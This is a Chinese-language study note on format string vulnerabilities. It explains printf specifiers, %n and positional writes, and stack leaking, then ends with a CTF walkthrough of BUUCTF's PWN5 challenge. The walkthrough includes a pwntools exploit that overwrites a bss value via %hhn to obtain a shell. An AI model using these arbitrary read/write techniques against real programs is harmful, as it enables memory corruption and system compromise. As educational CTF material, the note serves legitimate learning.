菜鸟记录格式化字符串的学习总结,方便复习。
格式化字符串漏洞
学习格式化字符串之前,先得了解什么是格式化字符串。
格式化字符串
printf("格式化字符串1,格式化字符串2",参数1,参数2...)
格式化允许我们部分控制显示文本的样式,我们可以通过代替特殊的格式字符来显示值或者数据,比如,要显示整形的变量"data",就可以使用下面的格式化字符:
printf("The number is %d",data)
打印的时候,%d就被data的值所替代。当data=20时,调用后会打印出 The number is 20这句话。如果想用十六进制显示相同值可以写成:
printf("The hex number is %x",data)
这里的%d就表示以十进制打印的data的值,%x表示十六进制打印data的值。下面是一些常见的格式化字符串语法:
%d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数
当然,功能也不仅限于控制显示的数据类型,还能控制显示的宽度和队列。
%<正整数n>c 打印宽度为n的字符串(打印长度为n)
举例:
printf("%5c",65) A的ascll码为65
调用后打印出A,宽度为5,因此A前面会填充4个空格,打印效果如下:
printf("%-10c%c",65,66);
打印字符串长度10,用空格填充,"-"使结果左对齐,在右边填空格,打印效果如下:
特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。32位的程序,%n取的就是4字节指针,64位取的就是8字节指针。
%hn 写入两个字节
%hhn 写入一个字节
举例:
printf("%10c%n",65,0x41414141);
打印9个空格加上一个A,所以会往地址0x41414141处写入10(4字节)
printf("%1234c%hhn",65,0x41414141);
因为1234=0x4D2,所以会往地址0x41414141处写入0xD2(1字节)
漏洞成因和基本原理
触发该漏洞的函数很有限,主要就是printf还有sprintf,fprintf等c库中print家族的函数。
函数用法:
正确的printf用法:
#include <stdio.h>
int main()
{
char str[100];
scanf("%s",str);
printf("%s",str);
return 0;
}
写程序时要规定字符串的格式化说明符,规定参数的输出类型
错误的printf写法:
#include <stdio.h>
int main()
{
char str[]="qwer";
printf(str);
return 0;
}
运行后结果没有什么问题。
但是如果将字符串的输入权交给用户就会有问题了。看下面的代码:
#include <stdio.h>
int main(void)
{
char str[100];
scanf("%s",str);
printf(str);
return 0;
}
假设我们的输入为:
AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
函数用法正确的程序的输出为:
错误用法的输出则为:
输出的结果是 内存中的数据地址。
参数不足的情况
关于这个情况,我们先来了解下,如果printf的参数不足,会发生什么?
会假设这些参数的存在,在对应的栈/寄存器上找到这些参数,并做相应处理。
举例:
printf("%p:%p:%p:%p\n");
打印结果如下:
32位程序,函数调用时参数在栈:格式化字符可控可以泄露栈上的数据
64位程序,函数调用使用寄存器+栈:格式化字符可控可以泄露特定寄存器和栈上的值(前6个参数放在寄存器上,会先依次打印出寄存器上的值。)
具体原理:当printf在输出格式化字符串的时候,会维护一个内部指针,当printf逐步将格式化字符串的字符打印到屏幕,当遇到%的时候,printf会期望它后面跟着一个格式字符串,因此会递增内部字符串以抓取格式控制符的输入值。这就是问题所在,printf无法知道栈上是否放置了正确数量的变量供它操作,如果没有足够的变量可供操作,而指针按正常情况下递增,就会产生越界访问。甚至由于%n的问题,可导致任意地址读写。
所以尽管没有参数或者参数不足,上面的代码也会将 格式化字符串 后面的内存当做参数以16进制输出。这样就会造成内存泄露。
关于$符号(补充)
读取:
%<正整数n>$ <数据类型>,指定占位符对应的第n个参数,例如 %8$x 就是以 x 格式读第 8 个参数的值。
举例:
printf("0x%2$x : 0x%1$x",0xabc,0xdef);
当中的%2$x 对应第二个参数,%1$x对应第一个参数
打印结果:0xdef : 0xabc
写入:
%<数值>c%<正整数>$ <类型>
%44c%5$hn 就是向第 5 个参数写入 44 这个数值。
漏洞的利用
在试图利用格式化字符串漏洞之前,你需要知道格式化字符串会在调用printf之前先压入堆栈中。所以当发现一个格式化字符串漏洞时,首先你需要找到格式化字符串距离当前位置的偏移。
只要我们在printf中填入足够的参数,例如,先输入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x········来确定输入首地址的偏移(找到41414141就是AAAA)
读取内存
我们可以通过输入 “%偏移$格式输出” 直接输出偏移为x处的内容。
用法:
%9$s
输出偏移为9处的内容
修改内存
在格式化字符串中 有一个 特殊的格式化控制符 “%n”,它可以将已经输出的字节个数写入到 指定的 的地址中,配合$直接修改第几个参数来修改想要修改地址的值。
用法:
%修改数据c%偏移$n修改地址
案例分析
以buuctf上的 [第五空间2019 决赛]PWN5 为例。
题目链接:
https://buuoj.cn/challenges#[%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019%20%E5%86%B3%E8%B5%9B]PWN5
checksec 查看文件
用IDA查看
发现明显的格式化漏洞,因为这个dword_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可得到shell。
计算偏移
可以看到偏移为10,之后只要修改dword_804c044的值,让输入和dword_804c044的值一样就可以了
IDA查看 dword_804c044的地址为0x804c044
exp如下:
from pwn import*
r=remote('node4.buuoj.cn',26588)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+'%10$hhn%11$hhn%12$hhn%13$hhn' #一个字节一个字节的写入,共写入四个字节。
r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()
p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047) 总共16个字节,所以16会被写到bss位置。16的十六进制为10,然后在输入0x10101010与之相同即可。
总结
格式化字符串,也是一种比较常见的漏洞类型, 具有任意地址读,任意地址写的特点。漏洞主要是没有规定参数的输出类型引起的。